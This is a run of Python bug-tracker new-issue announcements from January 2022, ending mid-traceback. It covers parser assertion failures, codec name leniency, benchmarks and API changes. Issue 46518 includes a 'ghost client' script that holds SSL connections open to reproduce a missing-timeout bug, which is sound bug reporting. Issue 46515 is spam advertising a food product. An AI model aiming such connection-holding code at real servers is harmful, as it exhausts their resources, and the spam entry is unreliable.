_______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 21:51:38 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Mon, 24 Jan 2022 02:51:38 +0000 Subject: [New-bugs-announce] [issue46495] IDLE subsection of What's New 3.11 Message-ID: <1642992698.38.0.995368904303.issue46495@roundup.psfhosted.org> New submission from Terry J. Reedy : Following #41846, master issue for IDLE entries in Doc/whatsnew/3.11.rst. When appropriate, add subsection 'idlelib and IDLE' to 'Improved Modules' The initial entries include important enhancements to IDLE since 3.10.0. (Anything included in 3.10.0 does not belong here. Because of IDLE's special backport policy (PEP 434), this initial part concludes with "The changes above have been backported to 3.9 maintenance releases." Future subsubsections 'New in 3.10.z:', z >= 1, will follow for backports to 3.10.z. These can precede the backport message as long as it is true. This issue will close after the last 3.10 maintenance release. 3.11.rst will always exist in the master branch. Changes are applied to master and backported as needed at the time. Entries will normally be the same in the What's New x.y for all x.y branches that get the enhancement. However, each file needs different backports. Hence separate PRs are needed for auto backport to work. It seems convenient to have separate issues for each whatsnew/ file. ---------- assignee: terry.reedy messages: 411438 nosy: terry.reedy priority: normal severity: normal status: open title: IDLE subsection of What's New 3.11 versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 22:07:41 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Mon, 24 Jan 2022 03:07:41 +0000 Subject: [New-bugs-announce] [issue46496] idlelib/NEWS.txt for 3.11.0 and backports Message-ID: <1642993661.43.0.163897250741.issue46496@roundup.psfhosted.org> New submission from Terry J. Reedy : Main became 3.11 as of 3.10.0 beta 1: 2021-05-03. However, backported IDLE issues continued going under What's New 3.10 on both main and 3.10 until 3.10.0rc1, 2021-08-03. Subsequent idlelib/NEWS.txt items go under What's New 3.11.0 on main branch What's New 3.10.1 on 3.10 branch In other words, idlelib News is handled as if main were branched off as of .0rc1. This is different from the changelog attached to What's New in 3.x. Release peps -- needed for proposed and actual release dates. 3.9 PEP 596 https://www.python.org/dev/peps/pep-0596/ 3.10 PEP 619 https://www.python.org/dev/peps/pep-0619/ 3.11 PEP 664 https://www.python.org/dev/peps/pep-0664/ ---------- assignee: terry.reedy messages: 411439 nosy: terry.reedy priority: normal severity: normal status: open title: idlelib/NEWS.txt for 3.11.0 and backports versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 23:33:13 2022 From: report at bugs.python.org (David Contreras) Date: Mon, 24 Jan 2022 04:33:13 +0000 Subject: [New-bugs-announce] =?utf-8?q?=5Bissue46497=5D_IDLE_macOS_shortc?= =?utf-8?q?ut_ctrl+S_doesn=E2=80=99t_work_for_show_completions?= Message-ID: <1642998793.55.0.428070872665.issue46497@roundup.psfhosted.org> New submission from David Contreras : I noticed that selecting Edit>Show Completions works as expected on Python 3.10.2 and macOS 12.1 after issue 40128 was resolved. But trying the default keyboard shortcut ctrl+S only highlights the edit menu but doesn't work. I understand that it's supposed to be ctrl+space because that's how it works on windows and it also works in macOS after disabling the default behavior for ctrl+space but this doesn't highlight the edit menu. On the original issue this behavior was also described but now the issue is closed and the behavior is the same. So ctrl+S highlights the edit menu but doesn?t show completions and ctrl+space shows completions but has a conflict with the default macOS keyboard shortcuts and is not the shortcut specified on the edit menu and it doesn?t highlight it. ---------- messages: 411441 nosy: dvd101x priority: normal severity: normal status: open title: IDLE macOS shortcut ctrl+S doesn?t work for show completions _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 00:00:22 2022 From: report at bugs.python.org (Zhang Na) Date: Mon, 24 Jan 2022 05:00:22 +0000 Subject: [New-bugs-announce] [issue46498] Add new triplets for loongarch64 Message-ID: <1643000422.04.0.8025423603.issue46498@roundup.psfhosted.org> Change by Zhang Na : ---------- components: Build files: loongarch64.diff keywords: patch nosy: zhangna01 priority: normal severity: normal status: open title: Add new triplets for loongarch64 type: compile error versions: Python 3.9 Added file: https://bugs.python.org/file50579/loongarch64.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 01:47:04 2022 From: report at bugs.python.org (shukurulloxkomiljonov) Date: Mon, 24 Jan 2022 06:47:04 +0000 Subject: [New-bugs-announce] [issue46499] circular impoty Message-ID: <1643006824.68.0.207165371072.issue46499@roundup.psfhosted.org> New submission from shukurulloxkomiljonov : ImportError: cannot import name 'Db' from partially initialized module 'orm_model.db' (most likely due to a circular import) (C:\Users\Komil\OneDrive\Desktop\mymodel\orm_model\db.py) I am making al library! I have model.py and db.py in db.py has class Db in model.py has class Model db.py imported Model and model.py imported Db but i have error ImportError: cannot import name 'Db' from partially initialized module 'orm_model.db' (most likely due to a circular import) how can i resolve it please enswer me! ---------- components: Library (Lib) messages: 411447 nosy: KOMILJONOV priority: normal severity: normal status: open title: circular impoty type: crash versions: Python 3.10, Python 3.11, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 02:08:00 2022 From: report at bugs.python.org (Arjun) Date: Mon, 24 Jan 2022 07:08:00 +0000 Subject: [New-bugs-announce] [issue46500] make timeit module accept files Message-ID: <1643008080.77.0.59543047068.issue46500@roundup.psfhosted.org> New submission from Arjun : currently, timeit accepts programs line by line as commandline arguments. it would be convenient to give it a program as a file to benchmark. ---------- components: Library (Lib) messages: 411448 nosy: CCLDArjun priority: normal severity: normal status: open title: make timeit module accept files type: enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 09:53:53 2022 From: report at bugs.python.org (wizprokidz) Date: Mon, 24 Jan 2022 14:53:53 +0000 Subject: [New-bugs-announce] [issue46501] Windows 10, turtle left right not working Message-ID: <1643036033.59.0.504924509366.issue46501@roundup.psfhosted.org> New submission from wizprokidz : The image of rocket does NOT rotate (on windows 10, python 3.10.2) as it rotates here: https://trinket.io/embed/python/8eb5179d7f turtle.forward() and turtle.backward() are working to move the object sideways. ---------- components: Windows files: spaceAndShip.py messages: 411476 nosy: gregorlingl, paul.moore, steve.dower, tim.golden, willingc, wizprokidz, zach.ware priority: normal severity: normal status: open title: Windows 10, turtle left right not working type: behavior versions: Python 3.10 Added file: https://bugs.python.org/file50581/spaceAndShip.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 10:48:56 2022 From: report at bugs.python.org (Mateusz Loskot) Date: Mon, 24 Jan 2022 15:48:56 +0000 Subject: [New-bugs-announce] [issue46502] Py_CompileString no longer allows to tell "incomplete input" from "invalid input" Message-ID: <1643039336.79.0.892958421455.issue46502@roundup.psfhosted.org> New submission from Mateusz Loskot : Something has changed in Python 3.7 through 3.10 (I'm observing it in 3.10) in behaviour of the Python C API function Py_CompileString such that for an incomplete input it no longer raises SyntaxError: "unexpected EOF while parsing" but IndentationError: expected an indented block after ... The new behaviour makes the sample program from the "How do I tell ?incomplete input? from ?invalid input??" at https://docs.python.org/3/faq/extending.html no longer work as described there. For example: ``` for i in []: ``` raises IndentationError: expected an indented block after 'for' statement on line 1 ``` if True: ``` raises IndentationError: expected an indented block after 'if' statement on line 1 instead of SyntaxError: unexpected EOF while parsing This effectively makes it impossible to detect incomplete input using the Py_CompileString in applications where it is not possible to use PyRun_InteractiveLoop. I have failed to identify what could be related changes in the release notes and the documentation does not seem to offer any update on that. So, I'm assuming the new behaviour is not desired or expected. Attached, is the VS 2022 screenshot with debugging session of the sample program from the FAQ presenting the difference in the behaviour between Python 3.6 and 3.10 on Windows. ---------- components: C API files: Py_CompileString-Py36-vs-Py310.png messages: 411484 nosy: mloskot priority: normal severity: normal status: open title: Py_CompileString no longer allows to tell "incomplete input" from "invalid input" versions: Python 3.10 Added file: https://bugs.python.org/file50582/Py_CompileString-Py36-vs-Py310.png _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 13:30:42 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Mon, 24 Jan 2022 18:30:42 +0000 Subject: [New-bugs-announce] [issue46503] assertion failure in Parser/string_parser.c Message-ID: <1643049042.78.0.52932917864.issue46503@roundup.psfhosted.org> New submission from Gregory P. Smith : ``` >>> v = r"""f'\N '""" >>> import ast >>> ast.literal_eval(v) python: ../gpshead/Parser/string_parser.c:487: fstring_find_literal: Assertion `s == end || *s == '{' || *s == '}'' failed. Aborted ``` this comes from oss-fuzz after enabling assert checks in its cpython builds. :) https://oss-fuzz.com/testcase-detail/4805529363415040 & https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=43730 for those who have access. ---------- components: Parser messages: 411503 nosy: gregory.p.smith, lys.nikolaou, pablogsal priority: high severity: normal stage: needs patch status: open title: assertion failure in Parser/string_parser.c type: crash versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 13:46:28 2022 From: report at bugs.python.org (Tim Peters) Date: Mon, 24 Jan 2022 18:46:28 +0000 Subject: [New-bugs-announce] [issue46504] Faster code for trial quotient in x_divrem Message-ID: <1643049988.78.0.00524175135095.issue46504@roundup.psfhosted.org> New submission from Tim Peters : x_divrem1() was recently (bpo-46406) changed to generate faster code for division, essentially nudging optimizing compilers into recognizing that modern processors compute the quotient and remainder with a single machine instruction. The same can be done for x_divrem(), although it's less valuable there because the HW division generally accounts for a much smaller percent of its total runtime. Still, it does cut a multiply and subtract out of the loop, and makes the code more obvious (since it brings x_divrem1() and x_divrem() back into synch). ---------- components: Interpreter Core messages: 411505 nosy: tim.peters priority: normal severity: normal stage: needs patch status: open title: Faster code for trial quotient in x_divrem type: performance _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 14:17:50 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 24 Jan 2022 19:17:50 +0000 Subject: [New-bugs-announce] [issue46505] Simplify exception handling code in py_compile Message-ID: <1643051870.94.0.705340615931.issue46505@roundup.psfhosted.org> New submission from Irit Katriel : PyCompileError takes both type and value of the exception, which is no longer necessary. Fortunately neither its constructor signature nor its fields are documented so it can be simplified. ---------- messages: 411509 nosy: iritkatriel priority: normal severity: normal status: open title: Simplify exception handling code in py_compile _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 16:24:30 2022 From: report at bugs.python.org (Eryk Sun) Date: Mon, 24 Jan 2022 21:24:30 +0000 Subject: [New-bugs-announce] [issue46506] [Windows] wrap CreateFile to support follow_symlinks Message-ID: <1643059470.04.0.661818040918.issue46506@roundup.psfhosted.org> New submission from Eryk Sun : Issue 46490 proposes to support follow_symlinks in os.utime() on Windows. Instead of duplicating the os.stat() implementation of follow_symlinks, I suggest factoring out a common _Py_CreateFile() function with two additional parameters: traverse (input) and pFileInfo (output). The `traverse` parameter would indicate whether to traverse or open a name-surrogate reparse point. However, FILE_FLAG_OPEN_REPARSE_POINT should take precedence over `traverse` and open any type of reparse point. The pFileInfo parameter would be an optional pointer to a struct that receives the file type (disk, char, pipe), file attributes, and reparse tag. Querying this information is required when `traverse` is false. There may as well be a way to return it. Since Windows 7 hasn't been supported since 3.8, this is also an opportunity to switch to the newer CreateFile2() function [1], which is required in order to use new file flags added to the API such as FILE_FLAG_OPEN_REQUIRING_OPLOCK. --- [1] https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfile2 ---------- components: Extension Modules, Windows messages: 411516 nosy: eryksun, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: [Windows] wrap CreateFile to support follow_symlinks type: enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 16:25:45 2022 From: report at bugs.python.org (julien tayon) Date: Mon, 24 Jan 2022 21:25:45 +0000 Subject: [New-bugs-announce] =?utf-8?q?=5Bissue46507=5D_enabling_cProfile?= =?utf-8?q?_to_profile_code_given_as_an_argument_=22=C3=A0_la=22_timeit?= Message-ID: <1643059545.59.0.789365625233.issue46507@roundup.psfhosted.org> New submission from julien tayon : well, you want to use python3 -mcProfile -othis.prof 'oneliner in python to test something' And weirdly enough this normally expected behaviour does not work. It's because last argument is expected to be the path of the script name to profile. But, it can be fixed easily with no downside Since it is an expected behaviour and is minimal changing anything in documentation or news seems to superfluous An exemple of ? this is a standard de fait ? is the fact that the awesome module of vstinner timeit does this already. https://github.com/python/cpython/pull/30859 ---------- components: Library (Lib) messages: 411517 nosy: jul2, vstinner priority: normal pull_requests: 29042 severity: normal status: open title: enabling cProfile to profile code given as an argument "? la" timeit type: enhancement versions: Python 3.10, Python 3.11, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 19:12:22 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Tue, 25 Jan 2022 00:12:22 +0000 Subject: [New-bugs-announce] [issue46508] codec name acceptance became way too lenient in 3.9 Message-ID: <1643069542.61.0.619122428664.issue46508@roundup.psfhosted.org> New submission from Gregory P. Smith : in 3.8 this was not a valid codec name: "?_?_?_iDnA" in 3.9 it gets treated as idna and triggers the punycode decoder when passed to bytes.decode(codec). Discovered by oss-fuzz. _Likely_ a consequence of https://bugs.python.org/issue37751 The consequences of this change are that anyone can stuff heinous strings into codec names and get a non-LookupError behavior out of them. Anywhere codecs can be part of user input this has many interesting potential negative consequences. <=3.8 gave `LookupError("unknown encoding: ...` ---------- keywords: 3.9regression messages: 411535 nosy: gregory.p.smith priority: normal severity: normal stage: needs patch status: open title: codec name acceptance became way too lenient in 3.9 type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 00:27:08 2022 From: report at bugs.python.org (Dennis Sweeney) Date: Tue, 25 Jan 2022 05:27:08 +0000 Subject: [New-bugs-announce] [issue46509] Type-specialized Py_DECREF Message-ID: <1643088428.44.0.826862328466.issue46509@roundup.psfhosted.org> New submission from Dennis Sweeney : GCC --enable-optimizations --with-lto on WSL: Slower (7): - json_dumps: 12.8 ms +- 0.2 ms -> 13.1 ms +- 0.3 ms: 1.02x slower - meteor_contest: 106 ms +- 2 ms -> 109 ms +- 3 ms: 1.02x slower - telco: 6.50 ms +- 0.17 ms -> 6.58 ms +- 0.18 ms: 1.01x slower - fannkuch: 383 ms +- 5 ms -> 388 ms +- 8 ms: 1.01x slower - regex_compile: 143 ms +- 2 ms -> 145 ms +- 4 ms: 1.01x slower - mako: 11.1 ms +- 0.1 ms -> 11.2 ms +- 0.2 ms: 1.01x slower - chameleon: 7.08 ms +- 0.07 ms -> 7.12 ms +- 0.10 ms: 1.01x slower Faster (27): - unpack_sequence: 45.9 ns +- 1.1 ns -> 41.6 ns +- 1.0 ns: 1.10x faster - logging_silent: 108 ns +- 11 ns -> 101 ns +- 3 ns: 1.06x faster - nbody: 95.6 ms +- 3.2 ms -> 90.2 ms +- 1.9 ms: 1.06x faster - spectral_norm: 98.3 ms +- 2.3 ms -> 92.8 ms +- 1.6 ms: 1.06x faster - regex_dna: 202 ms +- 3 ms -> 194 ms +- 3 ms: 1.04x faster - scimark_fft: 342 ms +- 12 ms -> 331 ms +- 7 ms: 1.03x faster - crypto_pyaes: 89.6 ms +- 1.7 ms -> 86.8 ms +- 1.1 ms: 1.03x faster - json_loads: 27.4 us +- 0.9 us -> 26.5 us +- 1.3 us: 1.03x faster - scimark_monte_carlo: 69.3 ms +- 1.5 ms -> 67.3 ms +- 1.2 ms: 1.03x faster - pickle_list: 4.62 us +- 0.21 us -> 4.51 us +- 0.15 us: 1.02x faster - scimark_sparse_mat_mult: 5.14 ms +- 0.21 ms -> 5.02 ms +- 0.18 ms: 1.02x faster - xml_etree_parse: 161 ms +- 5 ms -> 157 ms +- 6 ms: 1.02x faster - regex_effbot: 3.07 ms +- 0.05 ms -> 3.00 ms +- 0.07 ms: 1.02x faster - deltablue: 4.36 ms +- 0.14 ms -> 4.27 ms +- 0.14 ms: 1.02x faster - pickle_pure_python: 343 us +- 6 us -> 335 us +- 8 us: 1.02x faster - sqlite_synth: 2.60 us +- 0.06 us -> 2.55 us +- 0.04 us: 1.02x faster - xml_etree_iterparse: 110 ms +- 2 ms -> 108 ms +- 2 ms: 1.02x faster - go: 146 ms +- 2 ms -> 143 ms +- 3 ms: 1.02x faster - pathlib: 20.2 ms +- 0.5 ms -> 19.8 ms +- 0.3 ms: 1.02x faster - scimark_sor: 117 ms +- 3 ms -> 115 ms +- 2 ms: 1.02x faster - dulwich_log: 80.9 ms +- 2.0 ms -> 79.6 ms +- 1.7 ms: 1.02x faster - nqueens: 84.4 ms +- 1.7 ms -> 83.1 ms +- 2.0 ms: 1.02x faster - python_startup: 8.84 ms +- 0.07 ms -> 8.76 ms +- 0.07 ms: 1.01x faster - 2to3: 269 ms +- 4 ms -> 266 ms +- 3 ms: 1.01x faster - float: 77.0 ms +- 1.2 ms -> 76.5 ms +- 1.5 ms: 1.01x faster - sympy_integrate: 22.7 ms +- 0.3 ms -> 22.5 ms +- 0.2 ms: 1.01x faster - xml_etree_process: 55.7 ms +- 0.7 ms -> 55.4 ms +- 0.6 ms: 1.01x faster Benchmark hidden because not significant (24): chaos, django_template, hexiom, logging_format, logging_simple, pickle, pickle_dict, pidigits, pyflate, python_startup_no_site, raytrace, regex_v8, richards, scimark_lu, sqlalchemy_declarative, sqlalchemy_imperative, sympy_expand, sympy_sum, sympy_str, tornado_http, unpickle, unpickle_list, unpickle_pure_python, xml_etree_generate Geometric mean: 1.01x faster ---------- components: Interpreter Core messages: 411553 nosy: Dennis Sweeney priority: normal severity: normal status: open title: Type-specialized Py_DECREF type: performance versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 02:41:04 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 25 Jan 2022 07:41:04 +0000 Subject: [New-bugs-announce] [issue46510] Update Python2-style exception handling Message-ID: <1643096464.21.0.982356437879.issue46510@roundup.psfhosted.org> New submission from Irit Katriel : Following issue45711 the redundancy in exc_info is now explicit. This means that we can now safely update places that still use python2-style exception handling code, like: exc_type, exc_value = sys.exc_info()[:2] try: response = dumps( Fault(1, "%s:%s" % (exc_type, exc_value)), encoding=self.encoding, allow_none=self.allow_none) response = response.encode(self.encoding, 'xmlcharrefreplace') finally: # Break reference cycle exc_type = exc_value = None ---------- assignee: iritkatriel components: Library (Lib) messages: 411561 nosy: iritkatriel priority: normal severity: normal status: open title: Update Python2-style exception handling type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 04:02:48 2022 From: report at bugs.python.org (Gregory Beauregard) Date: Tue, 25 Jan 2022 09:02:48 +0000 Subject: [New-bugs-announce] [issue46511] dataclasses: Allow typing.Annotated to wrap dataclasses-specific annotations Message-ID: <1643101368.65.0.575407689959.issue46511@roundup.psfhosted.org> New submission from Gregory Beauregard : In https://bugs.python.org/issue46491 the typing runtime behavior was changed so that `Annotated[Classvar[...]]` is now valid at runtime in order to alleviate tension between typing and non-typing annotation space uses. dataclasses.py should likely follow suit in its runtime use of `ClassVar` and `InitVar`. Reviewing the code I see two areas that would need addressed: 1) `InitVar` needs changed so `Annotated[InitVar[...]]` is no longer a runtime error. This is currently a runtime error completely by accident: typing.py expects special type forms to be `callable()`, usually by implementing a `__call__` that throws an error, but `InitVar` does not implement this. Adding an implementation like in typing.py would fix the runtime error: https://github.com/python/cpython/blob/b1a3446f077b7d56b89f55d98dadb8018986a3e5/Lib/typing.py#L391-L392 2) The dataclasses-specific typehint introspection implementation needs modified to accommodate being wrapped by an `Annotated` annotation. I see in the comments the code is performance sensitive so I'm not sure what you want to do; f.ex. the regex needs modified, but it's not clean. What are your thoughts? ---------- components: Library (Lib) messages: 411567 nosy: GBeauregard, Jelle Zijlstra, eric.smith priority: normal severity: normal status: open title: dataclasses: Allow typing.Annotated to wrap dataclasses-specific annotations type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 04:46:10 2022 From: report at bugs.python.org (bers) Date: Tue, 25 Jan 2022 09:46:10 +0000 Subject: [New-bugs-announce] [issue46512] Explicit or correct behavior of filecmp.cmpfiles w/ absolute path names Message-ID: <1643103970.65.0.0273493721081.issue46512@roundup.psfhosted.org> New submission from bers : It is very easy to use filecmp.cmpfiles incorrectly by passing absolute path names. This is because 1. the documentations does not say that relative path names have to be passed, and 2. filecmp.cmpfiles does not issue a warning when absolute path names are passed. Consider this example code, which does look sensible at first glance: files = dir_a.glob("*") (equal, _, _) = filecmp.cmpfiles(dir_a, dir_b, files, shallow=False) print("equal:", *equal) However, in the full example below, you will see that this code fails to detect that two files are actually different. """Demo behavior of filecmp.cmpfiles with absolute path names.""" import filecmp import tempfile from pathlib import Path with tempfile.TemporaryDirectory() as tmpdirname: # prepare two different files tmpdir = Path(tmpdirname) dir_a = tmpdir / "a" dir_b = tmpdir / "b" file_a = dir_a / "foo.txt" file_b = dir_b / "foo.txt" dir_a.mkdir() dir_b.mkdir() file_a.write_text("A") file_b.write_text("B") # actually diff the files files = dir_a.glob("*") # filecmp should issue a warning here! (equal, _, _) = filecmp.cmpfiles(dir_a, dir_b, files, shallow=False) # otherwise, this result is easy to misinterpret - files are reported as equal print("equal:", *equal) ---------- components: Library (Lib) messages: 411570 nosy: bers priority: normal severity: normal status: open title: Explicit or correct behavior of filecmp.cmpfiles w/ absolute path names type: behavior versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 06:28:33 2022 From: report at bugs.python.org (=?utf-8?q?Miro_Hron=C4=8Dok?=) Date: Tue, 25 Jan 2022 11:28:33 +0000 Subject: [New-bugs-announce] [issue46513] AC_C_CHAR_UNSIGNED from configure.ac confuses GCC 12+ by defining __CHAR_UNSIGNED__ Message-ID: <1643110113.83.0.504507285234.issue46513@roundup.psfhosted.org> New submission from Miro Hron?ok : As described at https://mail.python.org/archives/list/python-dev at python.org/thread/MPHZ3TGSHMSF7C4P7JEP2ZCYLRA3ERC5/ the AC_C_CHAR_UNSIGNED macro from configure.ac confuses GCC 12+ as it exports a reserved symbol __CHAR_UNSIGNED__ through pyconfig.h. My assumption was that AC_C_CHAR_UNSIGNED can be dropped entirely and the PR in https://github.com/python/cpython/pull/30851 confirmed that all the buildbots are happy with such change. Hence, I open this issue to actually do it. Thanks ---------- components: Build messages: 411575 nosy: christian.heimes, hroncok, petr.viktorin, vstinner priority: normal severity: normal status: open title: AC_C_CHAR_UNSIGNED from configure.ac confuses GCC 12+ by defining __CHAR_UNSIGNED__ type: compile error versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 06:41:01 2022 From: report at bugs.python.org (Savo Vuksan) Date: Tue, 25 Jan 2022 11:41:01 +0000 Subject: [New-bugs-announce] [issue46514] Pathlib Path.touch() seems to ignore groups write bit for mode parameter Message-ID: <1643110861.51.0.78665540469.issue46514@roundup.psfhosted.org> New submission from Savo Vuksan : The touch function of the Path Object in the Pathlib module seems to ignore the write bit for the second octal number for the groups permission in the mode parameter In the provided script you can see that the output prints -rwxr-xr-- but it should be -rwxrwxr-- I use python 3.9 on a Linux machine running manjaro with following kernel: 5.13.19-2-MANJARO ---------- components: IO files: bug.py messages: 411577 nosy: SavoVuksan priority: normal severity: normal status: open title: Pathlib Path.touch() seems to ignore groups write bit for mode parameter type: behavior versions: Python 3.9 Added file: https://bugs.python.org/file50583/bug.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 06:53:53 2022 From: report at bugs.python.org (Faizan javed) Date: Tue, 25 Jan 2022 11:53:53 +0000 Subject: [New-bugs-announce] [issue46515] Benefits Of Phool Makhana Message-ID: <1643111633.34.0.84011339346.issue46515@roundup.psfhosted.org> New submission from Faizan javed : Makhanas are widely cultivated throughout Asia and often used in traditional forms of medicine to treat various https://www.hunzabazar.com/product/phool-makhana-price-in-pakistan/ https://www.hunzabazar.com/ ---------- components: 2to3 (2.x to 3.x conversion tool) messages: 411578 nosy: faizanjaved2021 priority: normal severity: normal status: open title: Benefits Of Phool Makhana type: behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 07:11:02 2022 From: report at bugs.python.org (Kumar Aditya) Date: Tue, 25 Jan 2022 12:11:02 +0000 Subject: [New-bugs-announce] [issue46516] Use existing unbound_local_error label in DELETE_FAST opcode Message-ID: <1643112662.24.0.773924302254.issue46516@roundup.psfhosted.org> New submission from Kumar Aditya : There was already a unbound_local_error label defined so use it in DELETE_FAST opcode too. ---------- components: Interpreter Core messages: 411579 nosy: Mark.Shannon, kj, kumaraditya303 priority: normal pull_requests: 29063 severity: normal status: open title: Use existing unbound_local_error label in DELETE_FAST opcode versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 07:33:04 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 25 Jan 2022 12:33:04 +0000 Subject: [New-bugs-announce] [issue46517] Review exception handling in urllib.parse Message-ID: <1643113984.02.0.925537875047.issue46517@roundup.psfhosted.org> New submission from Irit Katriel : Is there a reason for this raising, catching and reraising the exception here: https://github.com/python/cpython/blob/main/Lib/urllib/parse.py#L934 rather than just: if len(query) and not isinstance(query[0], tuple): raise TypeError("not a valid non-string sequence " "or mapping object") ? ---------- components: Library (Lib) messages: 411583 nosy: iritkatriel, orsenthil priority: normal severity: normal status: open title: Review exception handling in urllib.parse type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 07:38:41 2022 From: report at bugs.python.org (tomazas) Date: Tue, 25 Jan 2022 12:38:41 +0000 Subject: [New-bugs-announce] [issue46518] SSL socket timeout not set after client connects via accept Message-ID: <1643114321.92.0.142343985448.issue46518@roundup.psfhosted.org> New submission from tomazas : Once a client connects to a SSL server over socket accept() the newly returned client socket `newsock` is wrapped in SSL context. Since the new client `newsock` does not have a socket timeout set (i.e. None), the final returned SSL context socket is also assigned `None` socket timeout. Clients are then able to connect to such server and hold the connection indefinitely without sending any data to server (ghosting the server connections). Problematic excerpt from Lib/ssl.py: ``` def accept(self): """Accepts a new connection from a remote client, and returns a tuple containing that new connection wrapped with a server-side SSL channel, and the address of the remote client.""" newsock, addr = super().accept() newsock = self.context.wrap_socket(newsock, do_handshake_on_connect=self.do_handshake_on_connect, suppress_ragged_eofs=self.suppress_ragged_eofs, server_side=True) return newsock, addr ``` Attached minimal https.py server Python3 example producing the issue. After the server is working run the bellow ghost client script to produce the issue: ``` # Script implements ghost client (that does not send anything to server but keeps connection active until server socket timeouts or forever if socket timeouts are not working) # Usage - after https.py server is launched run using: python3 ghost.py import socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(("localhost", 443)) print("connected") while True: print("ghosting started") data = sock.recv(4096) # read to block if not data: break print(data) print("done.") ``` Possible workarounds: 1. socket.setdefaulttimeout(2) - works but interferes with all possible socket operations 2. Patch the socket accept() operation and set the timeout value there before doing any socket operations, e.g.: ``` import socket old_accept = socket.socket.accept def patch_accept(self): newsock, addr = old_accept(self) newsock.settimeout(2) # sets the client socket timeout print("socket.accept patched") return newsock, addr socket.socket.accept = patch_accept # TODO: now run all the SSL server socket code here ``` ---------- files: https.py messages: 411585 nosy: tomazas priority: normal severity: normal status: open title: SSL socket timeout not set after client connects via accept type: behavior versions: Python 3.10, Python 3.11 Added file: https://bugs.python.org/file50584/https.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 08:08:28 2022 From: report at bugs.python.org (Matheus Castanho) Date: Tue, 25 Jan 2022 13:08:28 +0000 Subject: [New-bugs-announce] [issue46519] test_typing failing on branch 3.10 Message-ID: <1643116108.88.0.430813061479.issue46519@roundup.psfhosted.org> New submission from Matheus Castanho : test_typing on branch 3.10 is failing after GH-30770 [1] test test_typing failed -- Traceback (most recent call last): File "/home/mscastanho/AT/python-next-220124/opt/at-next-16.0-0-alpha/lib64/python3.10/test/test_typing.py", line 3917, in setUpClass UserId = NewType('UserId', int) NameError: name 'NewType' is not defined Looks like `from typing import NewType` is not needed anymore in this file on the main branch (where this commit originated), but still is for 3.10. [1] https://github.com/python/cpython/pull/30770 ---------- components: Tests messages: 411587 nosy: mscastanho priority: normal severity: normal status: open title: test_typing failing on branch 3.10 versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 10:06:17 2022 From: report at bugs.python.org (Kodiologist) Date: Tue, 25 Jan 2022 15:06:17 +0000 Subject: [New-bugs-announce] [issue46520] `ast.unparse` produces syntactically illegal code for identifiers that look like reserved words Message-ID: <1643123177.1.0.632269925829.issue46520@roundup.psfhosted.org> New submission from Kodiologist : This works: ??? = 1 This raises SyntaxError: import ast exec(ast.unparse(ast.parse("??? = 1"))) It looks like `ast.parse` creates a `Name` node with `id='def'`, which is correct per PEP 3131, but `ast.unparse` doesn't know it needs to mangle the output somehow, as "???" or a similar Unicode replacement. ---------- components: Library (Lib) messages: 411606 nosy: Kodiologist priority: normal severity: normal status: open title: `ast.unparse` produces syntactically illegal code for identifiers that look like reserved words type: behavior versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 10:09:36 2022 From: report at bugs.python.org (Tushar Sadhwani) Date: Tue, 25 Jan 2022 15:09:36 +0000 Subject: [New-bugs-announce] [issue46521] compile_command not raising syntax error when command ends with triple quotes Message-ID: <1643123376.15.0.69468893853.issue46521@roundup.psfhosted.org> New submission from Tushar Sadhwani : compile_command used to raise error for this until Python 3.9: ``` >>> import code >>> code.compile_command("abc def '''") Traceback (most recent call last): File "", line 1, in File "/usr/lib/python3.9/codeop.py", line 132, in compile_command return _maybe_compile(_compile, source, filename, symbol) File "/usr/lib/python3.9/codeop.py", line 